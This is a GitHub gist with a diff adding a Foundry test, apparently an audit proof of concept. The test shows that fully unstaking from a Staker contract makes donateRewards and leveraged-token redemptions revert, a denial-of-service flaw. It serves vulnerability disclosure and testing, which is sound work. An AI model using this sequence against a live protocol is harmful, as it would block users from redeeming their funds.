-
-
Save lmanini/a6504da7abc89c57af0d23873cd026e1 to your computer and use it in GitHub Desktop.
full unstake redeem dos poc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/test/Staker.t.sol b/test/Staker.t.sol | |
index ec8be99..9c45d49 100644 | |
--- a/test/Staker.t.sol | |
+++ b/test/Staker.t.sol | |
@@ -7,11 +7,16 @@ import {IntegrationTest} from "./shared/IntegrationTest.sol"; | |
import {IRewardsStreaming} from "../src/interfaces/IRewardsStreaming.sol"; | |
import {IStaker} from "../src/interfaces/IStaker.sol"; | |
+import {ILeveragedToken} from "../src/interfaces/ILeveragedToken.sol"; | |
+ | |
+import {IERC20} from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; | |
import {Config} from "../src/libraries/Config.sol"; | |
import {Errors} from "../src/libraries/Errors.sol"; | |
import {Unstakes} from "../src/libraries/Unstakes.sol"; | |
+import {Symbols} from "../src/libraries/Symbols.sol"; | |
+ | |
contract StakerTest is IntegrationTest { | |
IERC20Metadata public reward; | |
uint8 public rewardDecimals; | |
@@ -170,6 +175,79 @@ contract StakerTest is IntegrationTest { | |
assertEq(staker.claimable(address(this)), rewardAmount, "claimable"); | |
} | |
+ function testDonateRewards_FullUnstakeDOS() public { | |
+ | |
+ // Create 2 leveraged tokens | |
+ (address longTokenAddress_, address shortTokenAddress_) = leveragedTokenFactory | |
+ .createLeveragedTokens( | |
+ Symbols.ETH, | |
+ 2e18, | |
+ Config.REBALANCE_THRESHOLD | |
+ ); | |
+ ILeveragedToken longToken = ILeveragedToken(longTokenAddress_); | |
+ ILeveragedToken shortToken = ILeveragedToken(shortTokenAddress_); | |
+ | |
+ // Minting Leveraged Tokens - long token | |
+ uint256 baseAmountIn = 100e18; | |
+ _mintTokensFor(Config.BASE_ASSET, address(this), baseAmountIn); | |
+ uint256 minLeveragedTokenAmountOut = 100e18; | |
+ IERC20(Config.BASE_ASSET).approve( | |
+ address(longToken), | |
+ baseAmountIn | |
+ ); | |
+ longToken.mint(baseAmountIn, minLeveragedTokenAmountOut); | |
+ _executeOrder(address(longToken)); | |
+ assertEq(longToken.balanceOf(address(this)), 100e18); | |
+ | |
+ // Minting Leveraged Tokens - short token | |
+ _mintTokensFor(Config.BASE_ASSET, address(this), baseAmountIn); | |
+ IERC20(Config.BASE_ASSET).approve( | |
+ address(shortToken), | |
+ baseAmountIn | |
+ ); | |
+ shortToken.mint(baseAmountIn, minLeveragedTokenAmountOut); | |
+ _executeOrder(address(shortToken)); | |
+ assertEq(shortToken.balanceOf(address(this)), 100e18); | |
+ | |
+ // Stake some TLX | |
+ _mintTokensFor(address(tlx), address(this), 100e18); | |
+ _mintTokensFor(address(reward), address(this), 2 * rewardAmount); | |
+ tlx.approve(address(staker), 100e18); | |
+ staker.stake(100e18); | |
+ | |
+ // donateRewards works fine | |
+ reward.approve(address(staker), rewardAmount); | |
+ staker.donateRewards(rewardAmount); | |
+ assertEq(reward.balanceOf(address(this)), rewardAmount, "reward balance"); | |
+ assertEq(reward.balanceOf(address(staker)), rewardAmount); | |
+ assertEq(staker.claimable(address(this)), rewardAmount, "claimable"); | |
+ | |
+ // Unstake all TLX | |
+ staker.prepareUnstake(100e18); | |
+ | |
+ // donateRewards is broken | |
+ reward.approve(address(staker), rewardAmount); | |
+ vm.expectRevert(IStaker.ZeroBalance.selector); | |
+ staker.donateRewards(rewardAmount); | |
+ | |
+ // Redeeming Leveraged Tokens - long token | |
+ uint256 leveragedTokenAmountIn = 1e18; | |
+ uint256 minBaseAmountOut = 0.9e18; | |
+ | |
+ vm.expectRevert(IStaker.ZeroBalance.selector); | |
+ longToken.redeem( | |
+ leveragedTokenAmountIn, | |
+ minBaseAmountOut | |
+ ); | |
+ | |
+ // Redeeming Leveraged Tokens - short token | |
+ vm.expectRevert(IStaker.ZeroBalance.selector); | |
+ shortToken.redeem( | |
+ leveragedTokenAmountIn, | |
+ minBaseAmountOut | |
+ ); | |
+ } | |
+ | |
function testClaimingDisabled() public { | |
_mintTokensFor(address(tlx), address(this), 100e18); | |
_mintTokensFor(address(reward), address(this), rewardAmount); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment